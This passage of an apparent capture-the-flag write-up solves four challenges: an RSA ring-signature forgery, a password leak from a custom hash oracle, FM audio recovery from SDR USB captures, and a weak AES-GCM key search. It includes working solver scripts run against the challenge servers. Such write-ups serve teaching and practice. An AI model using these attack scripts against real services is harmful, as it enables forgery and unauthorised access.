165, 1118, 942, 709, 537, 944, 518, 1139, 780, 1417, 675, 921, 824, 488, 450, 502, 259, 414, 977, 684, 202, 728, 222, 180, 1407, 1395, 52, 339, 670, 219, 260, 1325, 747, 1087, 103, 71, 1112, 1078, 947, 594, 1316, 1458, 512, 703, 648, 40, 48, 1485, 1422, 1079, 830, 775, 538, 846, 92, 1303, 1186, 1377, 705, 1387, 874, 784, 383, 345, 619, 680, 1137, 1225, 1194, 1170, 869)
at the end. We can then simply use this to decrypt the given JPEG:
This challenge asked us to forge an RSA ring signature (hence the name :P). The first thing we notice is a bit of weirdness in the RSA function:
def RSA_permutation(x,e,N):
r = x % N
q = x // N
if (q+1)*N <= 2 ** b:
return q * N + pow(r,e,N)
else:
return x
Instead of simply reducing everything modulo $N$ as one should, this “RSA permutation” first cuts off the $N\mathbb Z$ part, applies the permutation to the $\bmod N$ part, and then adds the $N\mathbb Z$ part back if it is smaller than a certain bound. This means the output is not necessarily smaller than $N$, and if we control the $N\mathbb Z$ part of the input, it will be copied directly to the output.
Let’s have a look at the ring signature construction:
def Verify(x, message):
w = 0
# [loading Pub_keys omitted]
if len(x) != len(Pub_keys):
return 'incorrect component count: %d given versus %d needed' % ( len(x), len(Pub_keys) )
for j in range(len(Pub_keys)):
w = w ^ RSA_permutation(x[j],e,Pub_keys[j])
if sha256(message) == w % (2 ** 256):
if message == 'FAKE NEWS':
flag = open("flag.txt").read()
return 'VALID signature, you get the FLAG: %s' % flag
else:
return 'VALID signature'
else:
return 'NOT valid'
So we should find a set of len(Pub_keys)
RSA values $z_1,\dots,z_k$ which, when pushed through RSA_permutation
with the respective public keys, XOR to something that equals sha256("FAKE NEWS")
modulo $2^{256}$.
Another check in do_verify()
makes sure our input is in a certain range:
if (sig < 2 ** b - 2 ** (2 * k)) and (sig > 2 ** (b-1) + 2 ** (2*k)):
To establish the basic idea, let us for now assume the number of public keys given was $k\geq 256$: Then, we can literally simply take random $z_i$s in the allowed range until the corresponding values \[ v_i := \mathtt{RSA\_permutation}(z_i,e,N_i) \bmod 2^{256} \] interpreted as vectors over $\mathrm{GF}(2)$ are linearly independent, then solve for the target vector $t:=\mathtt{sha256}(\texttt{“FAKE NEWS”})$ using linear algebra.
Now in the concrete instance given, the number of public keys in this task is $k=243$, hence $k$ random vectors will never span the whole vector space $\mathrm{GF}(2)^{256}$, so we generally cannot solve for $t$. However, note that the $v_i$ were essentially random and we can simply try many different values of the $z_i$s until $t$ happens to be in the subspace spanned by the $v_i$. Since that subspace is isomorphic to $\mathrm{GF}(2)^{k-\varepsilon}$ for some typically small integer $\varepsilon\geq0$, we expect to find a solution after something like \[ \lvert\mathrm{GF}(2)^{243-\varepsilon}\rvert/\lvert\mathrm{GF}(2)^{256}\rvert = 2^{256-k+\varepsilon}=2^{13+\varepsilon} \] random tries.
Here’s the sage
script that implements this approach:
#!/usr/bin/env sage
import hashlib
def RSA_permutation(x,e,N):
r = x % N
q = x // N
if (q+1)*N <= 2 ** b:
return q*N + ZZ(pow(r,e,N))
else:
return x
k = 1024
b = 2*k+128
e = 0x10001
########################################
ns = list(map(ZZ, open('gov_officials_PK.txt').read().strip().split()))
l = len(ns)
int2vec = lambda v: vector(GF(2), map(ZZ, '{:0256b}'.format(v)))
t = int2vec(int(hashlib.sha256('FAKE NEWS').digest().encode('hex'),16))
ii = 0
while True:
sys.stderr.write('{:6}\r'.format(ii)); sys.stderr.flush()
ii += 1
Xs = [2**(b-1)+2**(b-2) + randrange(n) for n in ns]
Ys = [x + n*randrange(2**100) for x in Xs]
xs = [int2vec(RSA_permutation(X,e,n) % 2**256) for n,X in zip(ns,Xs)]
ys = [int2vec(RSA_permutation(Y,e,n) % 2**256) for n,Y in zip(ns,Ys)]
ds = [x+y for x,y in zip(xs,ys)]
mat = block_matrix(
[
[matrix(ds), matrix(l,1)],
[matrix([sum(xs) + t]), matrix([[1]])],
], subdivide=False)
try:
sol = mat.solve_left(vector(GF(2),[0]*256+[1]))
except ValueError:
continue
print(sol)
break
sig = [Y if s else X for s,X,Y in zip(sol,Xs,Ys)]
print('<<<<')
with open('sig.txt','w') as f:
for Z in sig:
f.write('{}\n'.format(Z))
print(Z)
print('>>>>')
After running this script for a while on a few computers, we obtained a valid signature in sig.txt
, which allows us to retrieve the flag:
$ (echo 2; echo FAKE NEWS; cat sig.txt; echo 3) | nc 52.142.217.130 13375
========== LOTR ==========
1. Sign message
2. Verify message
3. Exit
Command: What message do you want to verify?
What's the signature?
VALID signature, you get the FLAG: PTBCTF{b3123cb707b8af89643b2441b182ca17}
========== LOTR ==========
1. Sign message
2. Verify message
3. Exit
Command:
$
We are given a script with a weird hash function that takes a salt and a password. The task first samples a random password, then offers an oracle to return hashes of that password with user-chosen salts, and finally asks us to return the hash for a certain randomly chosen salt. If it is correct, we get the flag.
Relevant code fragment:
def xor(s1,s2):
return ''.join([chr(ord(s1[i]) ^ ord(s2[i % len(s2)])) for i in range(len(s1))])
password = os.urandom(20)
no_rounds = 16
h_list = [sha, sha1, ripemd160, sha256]
def combo_hash(salt,password,h_list,no_rounds):
salted_pass = password + salt + password
l_pass = salted_pass[:32]
r_pass = salted_pass[32:]
for i in range(no_rounds):
l_index = ord(l_pass[31]) % len(h_list)
r_index = ord(r_pass[0]) % len(h_list)
l_hash = h_list[l_index](l_pass)
r_hash = h_list[r_index](r_pass)
l_pass = xor(l_pass,r_hash)
r_pass = xor(r_pass,l_hash)
return l_pass + r_pass
Note that xor()
repeats the second input if it is shorter than the first input.
Thus, let us assume for now that the hash functions being used are always one of those returning only 20 bytes, i.e., not SHA256. Then, the value of l_pass
at the end is simply the l_pass
from the start XORed with a string v
such that v[20:32] == v[:12]
.
Now also noting that the l_pass
at the beginning equals password + salt[:12]
, we can see that XORing l_pass[:12]
with l_pass[20:32]
at the end yields
password[:12] ^ salt[:12] ^ v[:12] ^ v[20:32] = password[:12] ^ salt[:12].
Since salt
is user-chosen when we call the oracle, this leaks password[:12]
!
By symmetry, the same argument shows that the r_pass
output leaks password[-12:]
, again under the assumption that all used hash functions have an output length of only 20 bytes.
Clearly, having password
allows us to answer the challenge query by simply evaluating combo_hash()
locally with the recovered password.
Now, note that we can even detect (with low error probability) when we have successfully leaked password
, since the two leakages in the “good” case overlap on password[:12][-2:] == password[-12:][:2]
, which are quite likely to be different in the “bad” case.
The final question is: how often does it happen that all used hash functions have 20 bytes output length? Note that there are 32 hash function calls in total. By setting salt[11:13]
to 00 00
, we can make sure that the first-round calls are always good. Modelling the other calls as randomly chosen with a $3{/}4$ chance of being good, we can estimate the probability that some random choice of salt with 00 00
in the middle yields the password
as $(3{/}4)^{30} \approx 1{/}5600$. Since we can try about $1000$ salt
s per connection, this is good enough, hence we simply keep querying the oracle with random salt
s until the password
leaks, then get the flag:
#### warning, dirty CTF code ahead
i = 0
while True:
sock = socket.socket()
try:
sock.connect(('52.142.217.130', 13374))
except socket.error:
print('.')
time.sleep(1)
continue
while i % 1000 != 999:
salt = os.urandom(11) + '\0\0' + os.urandom(11)
sock.sendall(salt.encode('hex') + '\n')
s = ''
m = None
while not m:
tmp = sock.recv(0x100)
assert tmp
s += tmp
m = re.search('([0-9a-f]{128})', s)
s = m.groups()[0]
h = s.decode('hex')
l = xor(xor(h[20:][:12], h[00:]), salt[:12])
r = xor(xor(h[32:][20:], h[32:]), salt[12:])
print('{:6} {} {}'.format(i, l[-4:].encode('hex'), r[:4].encode('hex')))
if l[-4:] == r[:4]:
pw = l[:-4] + r
sock.sendall('00\n')
break
i += 1
else:
sock.sendall('q\n')
sock.close()
i += 1
continue
break
s = ''
m = None
while not m:
tmp = sock.recv(0x100)
assert tmp
s += tmp
m = re.search('([0-9a-f]{48})', s)
print(s)
s = m.groups()[0]
salt = s.decode('hex')
h = combo_hash(salt, pw, h_list, 16)
sock.sendall(h.encode('hex') + '\n')
import telnetlib
tel = telnetlib.Telnet()
tel.sock = sock
tel.interact()
Here’s the output from when we got the flag:
0 c3e5e35b 75c73f42
1 79747bdd 08fc6ce4
2 a405f3a5 25e76879
3 562bddba 169764c5
4 08fc6ce4 46262b49
5 eeb9a42f 35d2ff6c
6 dd66dd52 7a7dc3a6
7 b0262cf7 c59cbc14
8 439dcb58 45fb8f0f
9 304f692d 4098f124
10 78f099dd 0ebac558
11 39484517 869515da
[...]
6351 039bacbb 63a80aff
6352 03dd559f 0ab84f1a
6353 12626e2c f9c23a91
6354 c10dcdc1 15d766bb
6355 b36eb41d aaf06a54
6356 69a4e4f6 69a4e4f6
Here is the challenge salt:
38a308228ecfacc8b71c1c0d1d1acc90ace1a1a17a4f2614
Give me the challenge_hash
Congrats. Here's a flag for you:
PTBCTF{420199e572e685af8e1782fde58fd0e9}
*** Connection closed by remote host ***
I’d sit alone and watch your bytes My only friend through teenage nights
Man, I suck at altering song lyrics … and writing task descriptions. Anyway, I didn’t have an antenna laying around so I used a packet capture tool to intercept some USB packets to intercept some SDR communication. Surely you can at least do the antenna part and recover the message.
We are given a PCAPNG file containing a log of the USB messages sent from and to an SDR radio. It is quickly obvious that the actual data is contained in a number of large packets on device 3.7.2 (minus the first four, which seem to contain some other form of data). In each packet, skip the first 0x50 bytes to get to the raw I/Q data (as in most SDRs, data comes in as 8-byte values).
We export the packets to PDML and convert the data to floats, which seems to be a more favorable format for I/Q data:
#!/usr/bin/python
from bs4 import BeautifulSoup
import struct
with open('details.pdml') as details_file:
details = details_file.read()
datatype, conversion = 'ff', lambda v: (((v + 128) % 256) - 127.5) / 128.0
xml = BeautifulSoup(details, features='lxml')
samples = []
for packet in xml.findAll('packet')[4:]: # Skip first four matching packets
raw = bytes.fromhex(packet.findAll('proto')[-1].field['show'].replace(':', ''))[16:]
print(len(raw))
for bs in range(0, len(raw) - 1, 2):
iq = list(raw[bs:bs+2])
iq = map(conversion, iq)
samples.append(iq)
print(len(samples))
with open('data.bin', 'wb') as out_file:
for i, q in samples:
out_file.write(struct.pack(datatype, i, q))
Using sox
, we construct a WAV file from the raw data:
sox -e float -t raw -r 1800000 -b 32 -c 2 data.bin -t wav -e float -b 32 -c 2 -r 1800000 raw.wav
From the spectrogram in Audacity, we can see that we are dealing with frequency-modulated audio:
Using SDRSharp (set the modulation mode to wideband FM) and a jury-rigged recording setup on top of parec
, we get a piece of audio that sounds like someone reading a flag really really quickly.
With Audacity’s “Change Tempo” and “Change Pitch” effects, we can get this down to an acceptable level of speed, and add some filtering to remove the worst of the noise.
Then, deciphering the flag becomes a matter of listening carefully (and brute-forcing the few characters that were unintelligible, as our “correct flags / submitted flags” ratio clearly shows :D).
It’s 2019 and people still use AES-CBC? Let’s encrypt stuff like it’s 3019!!!
We are given a SageMath script that generated the encrypted flag.bin
file. Here are the important parts:
def do_raise_entropy(input_msg):
cipher = AES.new("assume_nothing!!", AES.MODE_CBC, "\x00"*16)
return cipher.encrypt(input_msg)
def polish_key(key):
key = bytes_to_long(key[::-1])
key = GF(2**64).fetch_int(key)
key = key ** 0xbcafffff435
key = long_to_bytes( key.integer_representation() )[::-1]
assert len(key) == 8
return key
def do_encrypt(data):
half = polish_key( os.urandom(8) )
key = half + half
half2 = polish_key( os.urandom(8) )
nonce = half2 + half2
cipher = AES.new(key, AES.MODE_GCM, nonce = nonce[:12])
cipher.update("PTB")
ciphertext, tag = cipher.encrypt_and_digest( do_raise_entropy(data) )
open("flag.bin", "wb+").write(ciphertext + tag)
do_encrypt( open("flag.txt").read() )
In particular, the flag is fist encrypted with AES-CBC under a fixed key and IV, and then with AES-GCM with a randomized key and nonce.
However, instead of generating 16 random bytes, this encryption method only generates eight, performs the polish_key
operation, and then just doubles this eight-byte string to obtain thet key. Naïvely, this reduces our search spaces to 64 bits, but we can do better than this.
In polish_key
, the eight-byte random is represented as a value in $GF\left(2^{64}\right)$, and raised to the 0xbcafffff435
-th power. We note that the order of the field is $2^{64}-1$, or $3\times5\times17\times257\times641\times65537\times6700417$, and the exponent factors to $3\times5\times17\times257\times3019\times65537$.
No matter which random value we start with, this means that we end up in a subgroup of $GF\left(2^{64}\right)$ with a size of $641\times6700417\approx2^{32}$, a much more manageable search space for the key.
To validate each key, we use the properties of the GCM construction:
For every key $k$, we compute $H = E_k(0^{128})$. Since we know the associated data $A$ (PTB
, 24 bits) and the length of all encrypted data (there are two ciphertext blocks in the GCM output, so there must also have been two ciphertext blocks in the CBC output / GCM input (256 bits)), we can compute the expected authentication tag minus the encrypted nonce:
\[ T’=((((((A*H)\oplus c_0)*H)\oplus c_1)*H)\oplus(\mathtt{len}(A)||\mathtt{len}({C})))*H \]
Therefore, $E_k(ctr_0) = E_k(nonce||0^{31}||1) = T \oplus T’$. We use our candidate key to decrypt $T \oplus T’$ and confirm that the result matches the format prescribed for the GCM counter (the 96-bit input nonce and a 32-bit counter with value 1). The nonce itself is generated like the key, so its first four bytes must match the bytes between byte 8 and byte 12.
If this matches, we incrment the counter to generate the keystream used by GCM and compute the plaintexts (i.e. the CBC ciphertexts) used as input.
Then, we can simply use AES-CBC with the hard-coded key and IV to obtain the flag.